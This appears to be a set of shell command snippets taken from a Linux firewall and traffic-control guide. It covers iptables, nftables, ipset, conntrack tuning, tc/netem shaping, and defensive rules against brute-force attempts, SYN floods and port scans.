iptables -t raw -A OUTPUT -p tcp --sport 80 -j TRACE

# View trace (requires iptables logging)
tail -f /var/log/kern.log | grep TRACE

# Don't forget to remove TRACE when done!
iptables -t raw -D PREROUTING -p tcp --dport 80 -j TRACE

# Solution: Save and configure persistence
iptables-save > /etc/iptables/rules.v4
apt-get install iptables-persistent  # Debian/Ubuntu

# Prevention: Always allow established connections first
iptables -I INPUT 1 -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT

# Recovery: Access via console or KVM, then:
iptables -F
iptables -P INPUT ACCEPT

# Check IP forwarding
cat /proc/sys/net/ipv4/ip_forward  # Should be 1
echo 1 > /proc/sys/net/ipv4/ip_forward

# Verify NAT rules
iptables -t nat -L -n -v

# Check routing
ip route show

# Check current usage
cat /proc/sys/net/netfilter/nf_conntrack_count
cat /proc/sys/net/netfilter/nf_conntrack_max

# Increase limit
sysctl -w net.netfilter.nf_conntrack_max=262144

# Or use NOTRACK for high-volume traffic
iptables -t raw -A PREROUTING -p tcp --dport 80 -j NOTRACK

# Check rule count
iptables -L -n | wc -l

# Analyze rule hit counters
iptables -L -n -v --line-numbers

# Optimize: Move frequently matched rules to top
# Use ipset for large IP lists instead of many rules

# Show all rules with packet counters
iptables -L -n -v --line-numbers

# Show all rules in all tables
for table in filter nat mangle raw security; do
    echo "=== Table: $table ==="
    iptables -t $table -L -n -v --line-numbers
done

# Check if module is loaded
lsmod | grep iptable
lsmod | grep nf_conntrack

# View connection tracking
conntrack -L
conntrack -L | wc -l  # Count connections

# View NAT translations
conntrack -L -p tcp --dport 80

# Performance stats
iptables -L -n -v -x  # Extended counters

# Test with specific packet
# Install hping3
apt-get install hping3

# Send SYN packet
hping3 -S -p 80 192.168.1.1

# Send UDP packet
hping3 --udp -p 53 8.8.8.8

# Test with netcat
nc -v -w 2 192.168.1.1 80

# Test with nmap
nmap -p 22,80,443 192.168.1.1

# Increase connection tracking table
sysctl -w net.netfilter.nf_conntrack_max=524288
sysctl -w net.netfilter.nf_conntrack_buckets=131072

# Reduce timeouts for high-traffic servers
sysctl -w net.netfilter.nf_conntrack_tcp_timeout_established=600
sysctl -w net.netfilter.nf_conntrack_tcp_timeout_time_wait=30
sysctl -w net.netfilter.nf_conntrack_tcp_timeout_close_wait=30
sysctl -w net.netfilter.nf_conntrack_tcp_timeout_fin_wait=30

# Disable tracking for specific high-volume traffic
iptables -t raw -A PREROUTING -p tcp --dport 80 -j NOTRACK
iptables -t raw -A OUTPUT -p tcp --sport 80 -j NOTRACK
iptables -A INPUT -p tcp --dport 80 -m state --state UNTRACKED -j ACCEPT
iptables -A OUTPUT -p tcp --sport 80 -m state --state UNTRACKED -j ACCEPT

# Use hashlimit instead of limit for per-IP limiting
iptables -A INPUT -p tcp --dport 80 \
    -m hashlimit --hashlimit-name http \
    --hashlimit-above 50/sec --hashlimit-burst 100 \
    --hashlimit-mode srcip -j DROP

# Per subnet limiting
iptables -A INPUT -p tcp --dport 22 \
    -m hashlimit --hashlimit-name ssh \
    --hashlimit-above 3/min \
    --hashlimit-mode srcip --hashlimit-srcmask 24 -j DROP

# Install ipset
apt-get install ipset

# Create IP set
ipset create blacklist hash:ip hashsize 4096

# Add IPs to set
ipset add blacklist 192.168.1.100
ipset add blacklist 10.0.0.0/8

# Use in iptables (single rule for entire set!)
iptables -A INPUT -m set --match-set blacklist src -j DROP

# Manage set
ipset list blacklist
ipset del blacklist 192.168.1.100
ipset flush blacklist
ipset destroy blacklist

# Save/restore sets
ipset save > /etc/ipset.conf
ipset restore < /etc/ipset.conf

# Drop invalid packets early (raw table)
iptables -t raw -A PREROUTING -m conntrack --ctstate INVALID -j DROP

# Early accept for established connections
iptables -I INPUT 1 -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT

# Use conntrack instead of state module
# SLOWER
iptables -A INPUT -m state --state ESTABLISHED -j ACCEPT
# FASTER
iptables -A INPUT -m conntrack --ctstate ESTABLISHED -j ACCEPT

# Check packet processing rate
watch -n 1 'iptables -L -n -v -x'

# Identify slow rules
time iptables -L -n > /dev/null

# Profile rule matching
for i in $(seq 1 $(iptables -L INPUT --line-numbers | tail -n +3 | wc -l)); do
    echo -n "Rule $i: "
    iptables -L INPUT $i -n -v | grep -v '^Chain' | grep -v '^target'
done

# Install
apt-get install nftables

# Basic firewall
nft add table inet filter
nft add chain inet filter input { type filter hook input priority 0 \; policy drop \; }
nft add chain inet filter forward { type filter hook forward priority 0 \; policy drop \; }
nft add chain inet filter output { type filter hook output priority 0 \; policy accept \; }

# Add rules
nft add rule inet filter input ct state established,related accept
nft add rule inet filter input iif lo accept
nft add rule inet filter input tcp dport 22 accept
nft add rule inet filter input tcp dport { 80, 443 } accept

# List rules
nft list ruleset

# Save rules
nft list ruleset > /etc/nftables.conf

# iptables to nftables
iptables-translate -A INPUT -p tcp --dport 80 -j ACCEPT
# Output: nft add rule ip filter INPUT tcp dport 80 counter accept

# Translate entire ruleset
iptables-save | iptables-restore-translate
ip6tables-save | ip6tables-restore-translate

# Requires modern kernel (4.8+) and tools
# Example with Cilium for Kubernetes
kubectl apply -f cilium.yaml

# Or standalone with bpfilter
# Coming in future kernels as iptables replacement

# Redirect HTTP to Squid proxy (port 3128)
iptables -t nat -A PREROUTING -i eth1 -p tcp --dport 80 -j REDIRECT --to-port 3128

# Prevent loop (don't redirect proxy's own traffic)
iptables -t nat -A OUTPUT -m owner --uid-owner proxy -j RETURN
iptables -t nat -A OUTPUT -p tcp --dport 80 -j REDIRECT --to-port 3128

# Mark packets
iptables -t mangle -A PREROUTING -s 192.168.1.0/24 -j MARK --set-mark 1
iptables -t mangle -A PREROUTING -s 192.168.2.0/24 -j MARK --set-mark 2

# Add routing tables in /etc/iproute2/rt_tables
echo "1 ISP1" >> /etc/iproute2/rt_tables
echo "2 ISP2" >> /etc/iproute2/rt_tables

# Add routes
ip route add default via 10.0.1.1 table ISP1
ip route add default via 10.0.2.1 table ISP2

# Policy routing rules
ip rule add fwmark 1 table ISP1
ip rule add fwmark 2 table ISP2

# Enable bridge netfilter
modprobe br_netfilter
echo 1 > /proc/sys/net/bridge/bridge-nf-call-iptables

# Filter bridged traffic
iptables -A FORWARD -m physdev --physdev-in eth0 --physdev-out eth1 -j ACCEPT

tc qdisc [ add | del | replace | change | show ] dev DEVICE [ parent QHANDLE ] [ handle QHANDLE ] [ QDISC ]
tc class [ add | del | change | show ] dev DEVICE parent QHANDLE [ classid CLASSID ] [ QDISC ]
tc filter [ add | del | change | show ] dev DEVICE [ parent QHANDLE ] protocol PROTOCOL prio PRIORITY filtertype [ filtertype-specific-parameters ]

# 1. Mark SSH traffic with iptables
sudo iptables -t mangle -A OUTPUT -p tcp --sport 22 -j MARK --set-mark 1
sudo iptables -t mangle -A OUTPUT -p tcp --dport 22 -j MARK --set-mark 1

# 2. Mark HTTP traffic with iptables
sudo iptables -t mangle -A OUTPUT -p tcp --sport 80 -j MARK --set-mark 2
sudo iptables -t mangle -A OUTPUT -p tcp --dport 80 -j MARK --set-mark 2

# 3. Setup tc HTB qdisc
sudo tc qdisc add dev eth0 root handle 1: htb default 30

# 4. Create classes
sudo tc class add dev eth0 parent 1: classid 1:1 htb rate 10mbit
sudo tc class add dev eth0 parent 1:1 classid 1:10 htb rate 6mbit ceil 10mbit prio 1  # SSH
sudo tc class add dev eth0 parent 1:1 classid 1:20 htb rate 3mbit ceil 8mbit prio 2   # HTTP
sudo tc class add dev eth0 parent 1:1 classid 1:30 htb rate 1mbit ceil 5mbit prio 3   # Other

# 5. Create tc filters based on iptables marks
sudo tc filter add dev eth0 parent 1: protocol ip prio 1 handle 1 fw flowid 1:10  # SSH
sudo tc filter add dev eth0 parent 1: protocol ip prio 2 handle 2 fw flowid 1:20  # HTTP

# 1. Allow only specific traffic through firewall
sudo iptables -A OUTPUT -p tcp --dport 80 -j ACCEPT
sudo iptables -A OUTPUT -p tcp --dport 443 -j ACCEPT
sudo iptables -A OUTPUT -p tcp --dport 22 -j ACCEPT
sudo iptables -A OUTPUT -j DROP

# 2. Shape the allowed traffic with tc
sudo tc qdisc add dev eth0 root handle 1: htb default 10
sudo tc class add dev eth0 parent 1: classid 1:1 htb rate 100mbit
sudo tc class add dev eth0 parent 1:1 classid 1:10 htb rate 50mbit ceil 100mbit

# 1. Setup NAT for local network (iptables handles routing)
sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE

# 2. Limit total bandwidth for NATed traffic (tc handles shaping)
sudo tc qdisc add dev eth0 root handle 1: htb default 10
sudo tc class add dev eth0 parent 1: classid 1:1 htb rate 50mbit
sudo tc class add dev eth0 parent 1:1 classid 1:10 htb rate 50mbit ceil 50mbit

sudo tc qdisc add dev eth0 root netem delay 100ms

sudo tc qdisc add dev eth0 root netem delay 100ms 20ms

# 10% packet loss
sudo tc qdisc add dev eth0 root netem loss 10%

sudo tc qdisc add dev eth0 root netem delay 100ms loss 5%

# Limit to 1mbit/s with burst of 32kbit and latency of 400ms
sudo tc qdisc add dev eth0 root tbf rate 1mbit burst 32kbit latency 400ms

# Limit to 10mbit/s
sudo tc qdisc add dev eth0 root tbf rate 10mbit burst 32kbit latency 400ms

# Add root HTB qdisc
sudo tc qdisc add dev eth0 root handle 1: htb default 30

# Create root class with 10mbit ceiling
sudo tc class add dev eth0 parent 1: classid 1:1 htb rate 10mbit

# Create child classes
sudo tc class add dev eth0 parent 1:1 classid 1:10 htb rate 5mbit ceil 10mbit
sudo tc class add dev eth0 parent 1:1 classid 1:20 htb rate 3mbit ceil 10mbit
sudo tc class add dev eth0 parent 1:1 classid 1:30 htb rate 2mbit ceil 10mbit

# Send traffic to port 80 to class 1:10
sudo tc filter add dev eth0 protocol ip parent 1: prio 1 u32 \
    match ip dport 80 0xffff flowid 1:10

# Send traffic to port 22 to class 1:20 (prioritize SSH)
sudo tc filter add dev eth0 protocol ip parent 1: prio 1 u32 \
    match ip dport 22 0xffff flowid 1:20

# Create prio qdisc with 3 bands
sudo tc qdisc add dev eth0 root handle 1: prio bands 3

# Add filters to classify traffic
# High priority: SSH (port 22)
sudo tc filter add dev eth0 parent 1: protocol ip prio 1 u32 \
    match ip dport 22 0xffff flowid 1:1

# Medium priority: HTTP/HTTPS (ports 80, 443)
sudo tc filter add dev eth0 parent 1: protocol ip prio 2 u32 \
    match ip dport 80 0xffff flowid 1:2

# Low priority: everything else (default band 3)

# Typical 3G: 2mbit, 100ms latency, 1% loss
sudo tc qdisc add dev eth0 root netem rate 2mbit delay 100ms loss 1%

# Satellite: 500ms delay with 50ms variation
sudo tc qdisc add dev eth0 root netem delay 500ms 50ms

# 25% of packets will be delayed by 10ms causing reordering
sudo tc qdisc add dev eth0 root netem delay 10ms reorder 25% 50%

# Duplicate 1% of packets
sudo tc qdisc add dev eth0 root netem duplicate 1%

# Corrupt 0.1% of packets
sudo tc qdisc add dev eth0 root netem corrupt 0.1%

# Simulate degraded network: 5mbit, 200ms delay, 5% loss, occasional duplicates
sudo tc qdisc add dev eth0 root netem rate 5mbit delay 200ms 50ms loss 5% duplicate 1%

# Show all qdiscs
sudo tc qdisc show

# Show qdiscs for specific interface
sudo tc qdisc show dev eth0

# Show all classes
sudo tc class show dev eth0

# Show with statistics
sudo tc -s class show dev eth0

sudo tc filter show dev eth0

# Detailed qdisc statistics
sudo tc -s qdisc show dev eth0

# More detailed statistics with timestamps
sudo tc -s -d qdisc show dev eth0

# Remove root qdisc (removes all classes and filters too)
sudo tc qdisc del dev eth0 root

# Remove specific qdisc
sudo tc qdisc del dev eth0 parent 1:1 handle 10:

# Replace root qdisc
sudo tc qdisc replace dev eth0 root netem delay 50ms

# Change delay from 100ms to 200ms
sudo tc qdisc change dev eth0 root netem delay 200ms

# Setup HTB with two classes
sudo tc qdisc add dev eth0 root handle 1: htb default 20
sudo tc class add dev eth0 parent 1: classid 1:1 htb rate 10mbit
sudo tc class add dev eth0 parent 1:1 classid 1:10 htb rate 8mbit ceil 10mbit prio 0
sudo tc class add dev eth0 parent 1:1 classid 1:20 htb rate 2mbit ceil 10mbit prio 1

# Prioritize SSH
sudo tc filter add dev eth0 parent 1: protocol ip prio 1 u32 \
    match ip dport 22 0xffff flowid 1:10

# Create HTB with rate limit
sudo tc qdisc add dev eth0 root handle 1: htb default 20
sudo tc class add dev eth0 parent 1: classid 1:1 htb rate 100mbit
sudo tc class add dev eth0 parent 1:1 classid 1:10 htb rate 1mbit ceil 2mbit

# Match traffic from 192.168.1.0/24
sudo tc filter add dev eth0 parent 1: protocol ip prio 1 u32 \
    match ip src 192.168.1.0/24 flowid 1:10

# Simulate unreliable network
sudo tc qdisc add dev eth0 root netem delay 150ms 50ms loss 3% corrupt 0.1% duplicate 0.5%

# Run your tests...

# Remove when done
sudo tc qdisc del dev eth0 root

# Setup HTB for web server with guaranteed bandwidth
sudo tc qdisc add dev eth0 root handle 1: htb default 30

# Root class - total bandwidth
sudo tc class add dev eth0 parent 1: classid 1:1 htb rate 100mbit

# HTTP traffic - guaranteed 50mbit, can use up to 80mbit
sudo tc class add dev eth0 parent 1:1 classid 1:10 htb rate 50mbit ceil 80mbit prio 1

# HTTPS traffic - guaranteed 40mbit, can use up to 80mbit
sudo tc class add dev eth0 parent 1:1 classid 1:20 htb rate 40mbit ceil 80mbit prio 1

# Other traffic - guaranteed 10mbit, can use up to 20mbit
sudo tc class add dev eth0 parent 1:1 classid 1:30 htb rate 10mbit ceil 20mbit prio 2

# Add filters
sudo tc filter add dev eth0 parent 1: protocol ip prio 1 u32 \
    match ip sport 80 0xffff flowid 1:10
sudo tc filter add dev eth0 parent 1: protocol ip prio 1 u32 \
    match ip sport 443 0xffff flowid 1:20

ip link show  # List all interfaces

sudo tc qdisc del dev eth0 root

# /etc/systemd/system/tc-setup.service
[Unit]
Description=Traffic Control Setup
After=network.target

[Service]
Type=oneshot
ExecStart=/usr/local/bin/tc-setup.sh

[Install]
WantedBy=multi-user.target

                               Incoming Packet
                                     |
                                     v
                            [PREROUTING (raw)]
                                     |
                                     v
                            [PREROUTING (mangle)]
                                     |
                                     v
                            [PREROUTING (nat)]
                                     |
                                     v
                            Routing Decision
                          /                  \
                         /                    \
                        v                      v
                  For Local                For Other
                   System                   System
                      |                        |
                      v                        v
               [INPUT (mangle)]         [FORWARD (mangle)]
                      |                        |
                      v                        v
               [INPUT (filter)]         [FORWARD (filter)]
                      |                        |
                      v                        v
               Local Process            Routing Decision
                      |                        |
                      v                        v
               [OUTPUT (raw)]          [POSTROUTING (mangle)]
                      |                        |
                      v                        v
               [OUTPUT (mangle)]       [POSTROUTING (nat)]
                      |                        |
                      v                        v
               [OUTPUT (nat)]           Outgoing Packet
                      |
                      v
               [OUTPUT (filter)]
                      |
                      v
              Routing Decision
                      |
                      v
         [POSTROUTING (mangle)]
                      |
                      v
         [POSTROUTING (nat)]
                      |
                      v
            Outgoing Packet

# Source IP address
-s, --source 192.168.1.100
-s 192.168.1.0/24              # CIDR notation
-s 192.168.1.100,192.168.1.200 # Multiple IPs (with iprange)

# Destination IP address
-d, --destination 10.0.0.1

# Protocol
-p tcp
-p udp
-p icmp
-p all

# Input interface
-i eth0
-i eth+    # Match all eth interfaces

# Output interface
-o eth0

# Fragment packets
-f, --fragment

# TCP matches
--sport 80              # Source port
--dport 443             # Destination port
--tcp-flags SYN,ACK SYN # TCP flags
--syn                   # SYN packets (shorthand)

# UDP matches
--sport 53
--dport 53

# ICMP matches
--icmp-type echo-request
--icmp-type echo-reply
--icmp-type 8           # By number

# Multiple ports (requires multiport module)
-m multiport --sports 80,443,8080
-m multiport --dports 20:22  # Port range

# IP ranges (requires iprange module)
-m iprange --src-range 192.168.1.100-192.168.1.200
-m iprange --dst-range 10.0.0.1-10.0.0.100

# MAC address
-m mac --mac-source 00:11:22:33:44:55

# Connection state
-m state --state NEW,ESTABLISHED,RELATED
-m conntrack --ctstate NEW,ESTABLISHED,RELATED,INVALID

# Rate limiting
-m limit --limit 5/min --limit-burst 10
-m hashlimit --hashlimit-above 10/sec --hashlimit-mode srcip

# Recent connections (track IPs)
-m recent --name SSH --rcheck --seconds 60

# Time-based rules
-m time --timestart 09:00 --timestop 17:00
-m time --weekdays Mon,Tue,Wed,Thu,Fri

# String matching
-m string --string "GET" --algo bm

# Connection limit
-m connlimit --connlimit-above 10 --connlimit-mask 32

# Owner (OUTPUT chain only)
-m owner --uid-owner 1000
-m owner --gid-owner www-data

# Comment (for documentation)
-m comment --comment "Allow HTTP traffic"

# List all rules in all chains (filter table)
iptables -L
iptables -L -v              # Verbose (with packet/byte counters)
iptables -L -n              # Numeric (no DNS resolution)
iptables -L -v -n --line-numbers  # With line numbers

# List specific chain
iptables -L INPUT
iptables -L INPUT -v -n --line-numbers

# List all tables
iptables -t nat -L -v -n
iptables -t mangle -L -v -n

# Show rules as commands (easier to copy/modify)
iptables -S
iptables -S INPUT
iptables -t nat -S

# Show rules with packet counts
iptables -L -v -n -x  # -x for exact numbers (no K/M/G)

# Append to end of chain (-A)
iptables -A INPUT -p tcp --dport 80 -j ACCEPT

# Insert at specific position (-I)
iptables -I INPUT 1 -p tcp --dport 22 -j ACCEPT  # Insert as first rule
iptables -I INPUT 5 -p tcp --dport 443 -j ACCEPT # Insert as 5th rule

# Replace rule at position (-R)
iptables -R INPUT 3 -p tcp --dport 8080 -j ACCEPT

# Delete by specification
iptables -D INPUT -p tcp --dport 80 -j ACCEPT

# Delete by line number
iptables -D INPUT 5

# Delete all rules in chain
iptables -F INPUT           # Flush INPUT chain
iptables -F                 # Flush all chains in filter table
iptables -t nat -F          # Flush all chains in nat table

# Delete all rules in all tables
iptables -F
iptables -t nat -F
iptables -t mangle -F
iptables -t raw -F

# Create custom chain
iptables -N CUSTOM_CHAIN

# Delete custom chain (must be empty and unreferenced)
iptables -X CUSTOM_CHAIN

# Rename chain
iptables -E OLD_NAME NEW_NAME

# Zero packet/byte counters
iptables -Z                 # All chains
iptables -Z INPUT           # Specific chain

# Set default policy
iptables -P INPUT DROP      # Drop all input by default
iptables -P OUTPUT ACCEPT   # Accept all output by default
iptables -P FORWARD DROP    # Drop all forwarded traffic

# View current policies
iptables -L | grep policy

# Save current rules
iptables-save > /etc/iptables/rules.v4
iptables-save > /tmp/iptables-backup.txt

# Save specific table
iptables-save -t nat > /tmp/nat-rules.txt

# Restore rules
iptables-restore < /etc/iptables/rules.v4

# Restore without flushing existing rules
iptables-restore -n < /etc/iptables/rules.v4

# Test restore (don't actually apply)
iptables-restore -t < /etc/iptables/rules.v4

# SNAT to specific IP
iptables -t nat -A POSTROUTING -o eth0 -s 192.168.1.0/24 -j SNAT --to-source 203.0.113.5

# SNAT with port range
iptables -t nat -A POSTROUTING -o eth0 -j SNAT --to-source 203.0.113.5-203.0.113.10

# SNAT with specific ports
iptables -t nat -A POSTROUTING -o eth0 -j SNAT --to-source 203.0.113.5:1024-65535

# Basic masquerading
iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE

# Masquerade specific subnet
iptables -t nat -A POSTROUTING -s 192.168.1.0/24 -o ppp0 -j MASQUERADE

# Masquerade with port range
iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE --to-ports 1024-65535

# Port forwarding (external port 80 to internal server)
iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80 -j DNAT --to-destination 192.168.1.100:80

# Forward to different port
iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 8080 -j DNAT --to-destination 192.168.1.100:80

# Load balancing (requires statistic module)
iptables -t nat -A PREROUTING -p tcp --dport 80 -m statistic --mode random --probability 0.5 -j DNAT --to-destination 192.168.1.100
iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination 192.168.1.101

# Redirect external port 80 to local port 8080
iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 8080

# Redirect for specific interface
iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80 -j REDIRECT --to-port 8080

# Enable IP forwarding
echo 1 > /proc/sys/net/ipv4/ip_forward
# Make permanent: add 'net.ipv4.ip_forward=1' to /etc/sysctl.conf

# Allow forwarding for established/related connections
iptables -A FORWARD -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT

# Allow forwarding from internal network
iptables -A FORWARD -s 192.168.1.0/24 -j ACCEPT

# Masquerade outgoing traffic
iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE

# Allow established and related connections
iptables -A INPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT
iptables -A OUTPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT

# Drop invalid packets
iptables -A INPUT -m conntrack --ctstate INVALID -j DROP

# Allow new connections only for specific services
iptables -A INPUT -p tcp --dport 22 -m conntrack --ctstate NEW -j ACCEPT
iptables -A INPUT -p tcp --dport 80 -m conntrack --ctstate NEW -j ACCEPT

# Track specific connection properties
-m conntrack --ctstate NEW,ESTABLISHED
-m conntrack --ctproto tcp
-m conntrack --ctorigsrc 192.168.1.0/24
-m conntrack --ctorigdst 10.0.0.1
-m conntrack --ctreplsrc 10.0.0.1
-m conntrack --ctrepldst 192.168.1.100
-m conntrack --ctexpire 60:120  # Connection age in seconds

# Connection tracking helpers (for protocols with dynamic ports)
modprobe nf_conntrack_ftp
modprobe nf_conntrack_sip
modprobe nf_conntrack_h323

# Disable tracking for high-traffic connections (performance)
iptables -t raw -A PREROUTING -p tcp --dport 80 -j NOTRACK
iptables -t raw -A OUTPUT -p tcp --sport 80 -j NOTRACK

#!/bin/bash
# Flush existing rules
iptables -F
iptables -X
iptables -t nat -F
iptables -t nat -X
iptables -t mangle -F
iptables -t mangle -X

# Set default policies
iptables -P INPUT DROP
iptables -P FORWARD DROP
iptables -P OUTPUT ACCEPT

# Allow loopback
iptables -A INPUT -i lo -j ACCEPT
iptables -A OUTPUT -o lo -j ACCEPT

# Allow established and related
iptables -A INPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT

# Drop invalid packets
iptables -A INPUT -m conntrack --ctstate INVALID -j DROP

# Allow SSH (be careful with this!)
iptables -A INPUT -p tcp --dport 22 -m conntrack --ctstate NEW -j ACCEPT

# Allow ping (ICMP)
iptables -A INPUT -p icmp --icmp-type echo-request -j ACCEPT

# Log dropped packets (optional)
iptables -A INPUT -m limit --limit 5/min -j LOG --log-prefix "iptables INPUT denied: " --log-level 7

# Final drop (redundant with policy, but explicit)
iptables -A INPUT -j DROP

#!/bin/bash
# Allow HTTP
iptables -A INPUT -p tcp --dport 80 -m conntrack --ctstate NEW -j ACCEPT

# Allow HTTPS
iptables -A INPUT -p tcp --dport 443 -m conntrack --ctstate NEW -j ACCEPT

# Allow HTTP/3 (QUIC over UDP)
iptables -A INPUT -p udp --dport 443 -m conntrack --ctstate NEW -j ACCEPT

# Rate limit HTTP connections (anti-DoS)
iptables -A INPUT -p tcp --dport 80 -m state --state NEW -m recent --set --name HTTP
iptables -A INPUT -p tcp --dport 80 -m state --state NEW -m recent --update --seconds 60 --hitcount 20 --name HTTP -j DROP

# Limit concurrent connections per IP
iptables -A INPUT -p tcp --dport 80 -m connlimit --connlimit-above 20 --connlimit-mask 32 -j REJECT --reject-with tcp-reset

# Allow SSH only from specific subnet
iptables -A INPUT -p tcp -s 192.168.1.0/24 --dport 22 -m conntrack --ctstate NEW -j ACCEPT

# SSH brute force protection (max 3 attempts per minute)
iptables -A INPUT -p tcp --dport 22 -m state --state NEW -m recent --set --name SSH
iptables -A INPUT -p tcp --dport 22 -m state --state NEW -m recent --update --seconds 60 --hitcount 4 --rttl --name SSH -j LOG --log-prefix "SSH brute force: "
iptables -A INPUT -p tcp --dport 22 -m state --state NEW -m recent --update --seconds 60 --hitcount 4 --rttl --name SSH -j DROP
iptables -A INPUT -p tcp --dport 22 -m conntrack --ctstate NEW -j ACCEPT

# Alternative: SSH port knocking (more complex, requires additional setup)
# See port knocking documentation for implementation

# Allow DNS queries (UDP, primary)
iptables -A INPUT -p udp --dport 53 -j ACCEPT

# Allow DNS over TCP (for zone transfers and large responses)
iptables -A INPUT -p tcp --dport 53 -j ACCEPT

# Rate limit DNS queries (anti-amplification attack)
iptables -A INPUT -p udp --dport 53 -m hashlimit --hashlimit-above 10/sec --hashlimit-mode srcip --hashlimit-name dns -j DROP

# PostgreSQL from application servers only
iptables -A INPUT -p tcp -s 192.168.1.0/24 --dport 5432 -m conntrack --ctstate NEW -j ACCEPT

# MySQL from application servers only
iptables -A INPUT -p tcp -s 192.168.1.0/24 --dport 3306 -m conntrack --ctstate NEW -j ACCEPT

# MongoDB from application servers only
iptables -A INPUT -p tcp -s 192.168.1.0/24 --dport 27017 -m conntrack --ctstate NEW -j ACCEPT

# Limit connections per IP
iptables -A INPUT -p tcp --dport 5432 -m connlimit --connlimit-above 10 --connlimit-mask 32 -j REJECT

# SMTP
iptables -A INPUT -p tcp --dport 25 -m conntrack --ctstate NEW -j ACCEPT

# SMTP Submission
iptables -A INPUT -p tcp --dport 587 -m conntrack --ctstate NEW -j ACCEPT

# SMTP over SSL
iptables -A INPUT -p tcp --dport 465 -m conntrack --ctstate NEW -j ACCEPT

# IMAP
iptables -A INPUT -p tcp --dport 143 -m conntrack --ctstate NEW -j ACCEPT

# IMAPS
iptables -A INPUT -p tcp --dport 993 -m conntrack --ctstate NEW -j ACCEPT

# POP3
iptables -A INPUT -p tcp --dport 110 -m conntrack --ctstate NEW -j ACCEPT

# POP3S
iptables -A INPUT -p tcp --dport 995 -m conntrack --ctstate NEW -j ACCEPT

# Rate limit SMTP connections (anti-spam)
iptables -A INPUT -p tcp --dport 25 -m state --state NEW -m recent --set --name SMTP
iptables -A INPUT -p tcp --dport 25 -m state --state NEW -m recent --update --seconds 60 --hitcount 10 --name SMTP -j DROP

# Limit new connections per second
iptables -A INPUT -p tcp --dport 80 -m limit --limit 25/minute --limit-burst 100 -j ACCEPT

# Per-IP rate limiting with hashlimit
iptables -A INPUT -p tcp --dport 80 -m hashlimit --hashlimit-above 10/sec --hashlimit-mode srcip --hashlimit-name http -j DROP

# Connection rate limit per subnet
iptables -A INPUT -p tcp --dport 80 -m hashlimit --hashlimit-above 100/sec --hashlimit-mode srcip --hashlimit-srcmask 24 --hashlimit-name http_subnet -j DROP

# Limit SYN packets
iptables -A INPUT -p tcp --syn -m limit --limit 1/s --limit-burst 3 -j ACCEPT
iptables -A INPUT -p tcp --syn -j DROP

# Or with hashlimit (better for per-IP tracking)
iptables -A INPUT -p tcp --syn -m hashlimit --hashlimit-above 5/sec --hashlimit-mode srcip --hashlimit-name syn_flood -j DROP

# Enable SYN cookies (kernel parameter)
# echo 1 > /proc/sys/net/ipv4/tcp_syncookies

# Detect and block port scans
iptables -N PORT_SCAN
iptables -A INPUT -p tcp --tcp-flags ALL NONE -j PORT_SCAN
iptables -A INPUT -p tcp --tcp-flags ALL ALL -j PORT_SCAN
iptables -A INPUT -p tcp --tcp-flags SYN,FIN SYN,FIN -j PORT_SCAN
iptables -A INPUT -p tcp --tcp-flags SYN,RST SYN,RST -j PORT_SCAN
iptables -A INPUT -p tcp --tcp-flags FIN,RST FIN,RST -j PORT_SCAN
iptables -A INPUT -p tcp --tcp-flags ALL SYN,RST,ACK,FIN,URG -j PORT_SCAN

iptables -A PORT_SCAN -m limit --limit 1/min -j LOG --log-prefix "Port scan detected: " --log-level 7
iptables -A PORT_SCAN -j DROP

# Limit connections per IP
iptables -A INPUT -p tcp --dport 80 -m connlimit --connlimit-above 20 --connlimit-mask 32 -j REJECT --reject-with tcp-reset

# Protect against SYN flood
iptables -A INPUT -p tcp --syn -m hashlimit --hashlimit-above 5/sec --hashlimit-mode srcip --hashlimit-name syn_limit -j DROP

# Block fragmented packets
iptables -A INPUT -f -j DROP

# Block invalid packets
iptables -A INPUT -m conntrack --ctstate INVALID -j DROP

# Block new packets that are not SYN
iptables -A INPUT -p tcp ! --syn -m conntrack --ctstate NEW -j DROP

# Block uncommon MSS values
iptables -A INPUT -p tcp -m conntrack --ctstate NEW -m tcpmss ! --mss 536:65535 -j DROP

# SSH brute force protection (max 4 attempts in 60 seconds)
iptables -A INPUT -p tcp --dport 22 -m state --state NEW -m recent --set --name SSH
iptables -A INPUT -p tcp --dport 22 -m state --state NEW -m recent --update --seconds 60 --hitcount 4 --rttl --name SSH -j DROP

# FTP brute force protection
iptables -A INPUT -p tcp --dport 21 -m state --state NEW -m recent --set --name FTP
iptables -A INPUT -p tcp --dport 21 -m state --state NEW -m recent --update --seconds 60 --hitcount 3 --rttl --name FTP -j DROP

# Web login brute force (for admin panels)
iptables -A INPUT -p tcp --dport 443 -m string --string "POST /admin/login" --algo bm -m recent --set --name WEB_LOGIN
iptables -A INPUT -p tcp --dport 443 -m string --string "POST /admin/login" --algo bm -m recent --update --seconds 300 --hitcount 5 --name WEB_LOGIN -j DROP

# Block specific countries (requires geoip module)
iptables -A INPUT -m geoip --src-cc CN,RU -j DROP

# Allow only specific countries
iptables -A INPUT -m geoip ! --src-cc US,CA,GB -j DROP

# Log dropped packets
iptables -A INPUT -m limit --limit 5/min -j LOG --log-prefix "iptables INPUT DROP: " --log-level 7
iptables -A INPUT -j DROP

# Log to specific file (requires rsyslog configuration)
iptables -A INPUT -j LOG --log-prefix "FIREWALL: " --log-level 4

# Log with additional information
iptables -A INPUT -j LOG --log-prefix "DROP: " --log-tcp-sequence --log-tcp-options --log-ip-options

# Create logging chain for debugging
iptables -N LOG_AND_ACCEPT
iptables -A LOG_AND_ACCEPT -j LOG --log-prefix "ACCEPT: " --log-level 7
iptables -A LOG_AND_ACCEPT -j ACCEPT

# Use it in rules
iptables -A INPUT -p tcp --dport 80 -j LOG_AND_ACCEPT

# Trace packet path (requires raw table TRACE target and iptables events)
